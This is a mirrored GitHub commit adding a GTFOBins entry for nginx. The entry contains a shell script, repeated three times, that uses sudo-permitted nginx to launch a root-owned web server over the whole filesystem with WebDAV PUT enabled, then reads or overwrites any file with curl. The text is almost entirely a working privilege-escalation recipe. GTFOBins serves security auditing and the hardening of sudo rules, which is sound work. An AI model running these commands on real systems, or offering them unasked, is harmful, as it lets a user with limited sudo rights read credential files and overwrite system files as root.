1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2025-12-27 18:51:41 +01:00

Merge ac9c805f42c8c5272405e84a64b10667ca8623ef into b29f2cfde1c72e4ea5191e49604e923bbda98461

This commit is contained in:
godylockz 2025-11-20 13:44:35 -03:00 committed by GitHub
commit 08dfd05aee
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

71
_gtfobins/nginx.md Normal file

@ -0,0 +1,71 @@
---
functions:
sudo:
- description: This will start a nginx webserver on the specified port. This will provide read/write access to all files on the system. The file path must be absolute.
code: |
PORT=1337
LFILE=file_to_read
TFC=$(mktemp)
cat > $TFC << EOF
user root;
events {
worker_connections 1024;
}
http {
server {
listen $PORT;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
sudo nginx -c $TFC
curl -s http://localhost:$PORT$LFILE
file-read:
- description: This will start a nginx webserver on the specified port. This will provide read/write access to all files on the system. The file path must be absolute.
code: |
PORT=1337
LFILE=file_to_read
TFC=$(mktemp)
cat > $TFC << EOF
user root;
events {
worker_connections 1024;
}
http {
server {
listen $PORT;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
sudo nginx -c $TFC
curl -s http://localhost:$PORT$LFILE
file-write:
- description: This will start a nginx webserver on the specified port. This will provide read/write access to all files on the system. The file path must be absolute.
code: |
PORT=1337
LFILE=file_to_write
TF=$(mktemp)
echo DATA >$TF
TFC=$(mktemp)
cat > $TFC << EOF
user root;
events {
worker_connections 1024;
}
http {
server {
listen $PORT;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
sudo nginx -c $TFC
curl -X PUT http://localhost:$PORT$LFILE -d @$TF
---